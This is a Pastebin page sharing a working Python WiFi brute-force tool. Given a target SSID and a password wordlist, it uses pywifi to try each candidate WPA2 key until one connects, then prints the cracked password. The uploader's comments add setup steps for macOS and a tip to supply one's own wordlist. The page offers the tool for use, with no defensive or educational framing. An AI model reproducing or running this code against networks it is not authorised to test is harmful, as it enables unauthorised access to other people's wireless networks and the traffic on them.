Advertisement
FlyFar

Wifi Bruteforce - Python Source Code

Jan 29th, 2023 (edited)
1,265
1
Never
3
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.04 KB | None | 1 0
  1. import argparse
  2. import sys
  3. import os
  4. import os.path
  5. import platform
  6. import re
  7. import time
  8. try:
  9.     import pywifi
  10.     from pywifi import PyWiFi
  11.     from pywifi import const
  12.     from pywifi import Profile
  13. except:
  14.     print("Installing pywifi")
  15.  
  16.  
  17.  
  18. RED   = "\033[1;31m"  
  19. BLUE  = "\033[1;34m"
  20. CYAN  = "\033[1;36m"
  21. GREEN = "\033[0;32m"
  22. RESET = "\033[0;0m"
  23. BOLD    = "\033[;1m"
  24. REVERSE = "\033[;7m"
  25.  
  26. try:
  27.     # wlan
  28.     wifi = PyWiFi()
  29.     ifaces = wifi.interfaces()[0]
  30.  
  31.     ifaces.scan() #check the card
  32.     results = ifaces.scan_results()
  33.  
  34.  
  35.     wifi = pywifi.PyWiFi()
  36.     iface = wifi.interfaces()[0]
  37. except:
  38.     print("[-] Error system")
  39.  
  40. type = False
  41.  
  42. def main(ssid, password, number):
  43.  
  44.     profile = Profile()
  45.     profile.ssid = ssid
  46.     profile.auth = const.AUTH_ALG_OPEN
  47.     profile.akm.append(const.AKM_TYPE_WPA2PSK)
  48.     profile.cipher = const.CIPHER_TYPE_CCMP
  49.  
  50.  
  51.     profile.key = password
  52.     iface.remove_all_network_profiles()
  53.     tmp_profile = iface.add_network_profile(profile)
  54.     time.sleep(0.1) # if script not working change time to 1 !!!!!!
  55.     iface.connect(tmp_profile) # trying to Connect
  56.     time.sleep(0.35) # 1s
  57.  
  58.     if ifaces.status() == const.IFACE_CONNECTED: # checker
  59.         time.sleep(1)
  60.         print(BOLD, GREEN,'[*] Crack success!',RESET)
  61.         print(BOLD, GREEN,'[*] password is ' + password, RESET)
  62.         time.sleep(1)
  63.         exit()
  64.     else:
  65.         print(RED, '[{}] Crack Failed using {}'.format(number, password))
  66.  
  67. def pwd(ssid, file):
  68.     number = 0
  69.     with open(file, 'r', encoding='utf8') as words:
  70.         for line in words:
  71.             number += 1
  72.             line = line.split("\n")
  73.             pwd = line[0]
  74.             main(ssid, pwd, number)
  75.                    
  76.  
  77.  
  78. def menu():
  79.     parser = argparse.ArgumentParser(description='argparse Example')
  80.  
  81.     parser.add_argument('-s', '--ssid', metavar='', type=str, help='SSID = WIFI Name..')
  82.     parser.add_argument('-w', '--wordlist', metavar='', type=str, help='keywords list ...')
  83.  
  84.     group1 = parser.add_mutually_exclusive_group()
  85.  
  86.     group1.add_argument('-v', '--version', metavar='', help='version')
  87.     print(" ")
  88.  
  89.     args = parser.parse_args()
  90.  
  91.     print(CYAN, "[+] You are using ", BOLD, platform.system(), platform.machine(), "...")
  92.     time.sleep(2.5)
  93.  
  94.     if args.wordlist and args.ssid:
  95.         ssid = args.ssid
  96.         filee = args.wordlist
  97.     elif args.version:
  98.         print("\n\n",CYAN,"by Brahim Jarrar\n")
  99.         print(RED, " github", BLUE," : https://github.com/BrahimJarrar/\n")
  100.         print(GREEN, " CopyRight 2019\n\n")
  101.         exit()
  102.     else:
  103.         print(BLUE)
  104.         ssid = input("[*] SSID: ")
  105.         filee = input("[*] pwds file: : ")
  106.  
  107.  
  108.     # thx
  109.     if os.path.exists(filee):
  110.         if platform.system().startswith("Win" or "win"):
  111.             os.system("cls")
  112.         else:
  113.             os.system("clear")
  114.  
  115.         print(BLUE,"[~] Cracking...")
  116.         pwd(ssid, filee)
  117.  
  118.     else:
  119.         print(RED,"[-] No Such File.",BLUE)
  120.  
  121.  
  122. if __name__ == "__main__":
  123.     menu()
Advertisement
Comments
  • FlyFar
    1 year
    # text 0.01 KB | 0 0
    1. pywifi required
  • FlyFar
    1 year
    # text 0.56 KB | 0 0
    1. Step 1. install anaconda
    2. Go https://www.anaconda.com/distribution/ to download anaconda and install it.
    3.  
    4. Step 2. Use conda to install pywifi for mac
    5. macos_dev branch is a pywifi project for Mac with python 3.5 pyobjc is dependent module for mac pywifi module
    6.  
    7. $ conda create -n wifi-brute-force python=3.5
    8. $ conda activate wifi-brute-force
    9. $ git clone -b macos_dev https://github.com/awkman/pywifi.git
    10. $ cd pywifi
    11. $ pip install pyobjc
    12. $ pip install .
    13.  
    14. Now pywifi module for Mac is ready in conda environment, named wifi-brute-force
    15. You can enjoy WIFI-Brute-Force.
  • FlyFar
    1 year
    # text 0.04 KB | 0 0
    1. Use your own wordlist and name it "words.txt"
Add Comment
Please, Sign In to add comment
Advertisement